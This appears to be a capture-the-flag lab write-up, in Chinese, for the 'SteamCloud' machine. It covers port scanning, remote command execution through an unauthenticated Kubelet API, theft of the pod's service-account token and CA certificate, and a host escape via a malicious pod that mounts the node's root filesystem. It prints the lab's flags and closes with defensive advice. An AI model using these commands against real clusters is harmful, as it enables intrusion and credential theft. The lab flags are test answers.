[Meachines] [Easy] SteamCloud Kubernetes-RCE+Kubernetes节点权限提升
字数 1208 2025-08-22 12:23:42
Kubernetes 安全渗透测试:从 Kubelet RCE 到节点权限提升
1. 目标识别与信息收集
1.1 端口扫描
目标 IP: 10.10.11.133
使用 masscan 进行快速端口扫描:
sudo masscan -p1-65535,U:1-65535 10.10.11.133 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.11.133
1.2 开放端口与服务识别
扫描结果:
- 22/tcp: OpenSSH 7.9p1
- 2379/tcp: etcd-client (SSL)
- 2380/tcp: etcd-server (SSL)
- 8443/tcp: Kubernetes API server (https-alt)
- 10249/tcp: Golang net/http server
- 10250/tcp: Kubelet API (SSL)
- 10256/tcp: Golang net/http server
2. Kubelet 远程代码执行 (RCE)
2.1 Kubelet 简介
Kubelet 是 Kubernetes 的核心组件,运行在每个工作节点(Node)上,负责:
- 管理和维护节点上的容器
- 与控制平面(如API Server)通信
- 接收并执行分配到该节点的任务
- 报告节点状态
2.2 利用 Kubelet API
Kubelet API (10250端口) 通常未正确配置认证,可能导致RCE。
2.2.1 枚举运行的 Pods
使用 kubeletctl 工具:
./kubeletctl_linux_amd64 --server 10.10.11.133 pods
2.2.2 执行命令
在名为 nginx 的 Pod 中执行命令:
./kubeletctl_linux_amd64 --server 10.10.11.133 exec "whoami" -p nginx -c nginx
获取交互式 shell:
./kubeletctl_linux_amd64 --server 10.10.11.133 exec "/bin/bash" -p nginx -c nginx
3. 权限提升:从 Pod 到节点主机
3.1 获取服务账户凭证
在已攻陷的 Pod 中查找 Kubernetes 服务账户凭证:
ls -la /run/secrets/kubernetes.io/serviceaccount
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
3.2 使用 kubectl 与 Kubernetes API 交互
3.2.1 下载 kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl
3.2.2 使用获取的凭证与 API 交互
./kubectl -s https://10.10.11.133:8443 get pods --certificate-authority=/tmp/ca.crt --token=$token
3.3 创建特权 Pod 进行权限提升
3.3.1 创建恶意 Pod 定义文件 (evil.yaml)
apiVersion: v1
kind: Pod
metadata:
name: evil-maptnh
namespace: default
spec:
containers:
- name: evil-maptnh
image: nginx:1.14.2
volumeMounts:
- mountPath: /mnt
name: evil-exp
volumes:
- name: evil-exp
hostPath:
path: /
3.3.2 部署恶意 Pod
./kubectl -s https://10.10.11.133:8443 --certificate-authority=/tmp/ca.crt --token=$token apply -f /tmp/evil.yaml
3.3.3 验证 Pod 状态
./kubectl -s https://10.10.11.133:8443 --certificate-authority=/tmp/ca.crt --token=$token get pods
3.3.4 在特权 Pod 中执行命令
./kubeletctl_linux_amd64 --server 10.10.11.133 exec "/bin/bash" -p evil-maptnh -c evil-maptnh
4. 关键发现与凭证
- User flag:
6f85b72ab0e8c2cd1c46d2e5a7cd3d65 - Root flag:
a7d4b0817cea88036a6846107f92edb2
5. 防御建议
-
Kubelet 安全配置:
- 启用并正确配置 Kubelet 认证
- 限制匿名访问
- 使用网络策略限制对 Kubelet API 的访问
-
Pod 安全策略:
- 实施 Pod 安全策略限制特权容器
- 禁止挂载主机目录
-
服务账户管理:
- 限制服务账户权限
- 使用最小权限原则
-
审计与监控:
- 监控异常的 Pod 创建请求
- 审计 Kubelet API 访问日志
-
定期更新:
- 保持 Kubernetes 组件最新版本
- 及时应用安全补丁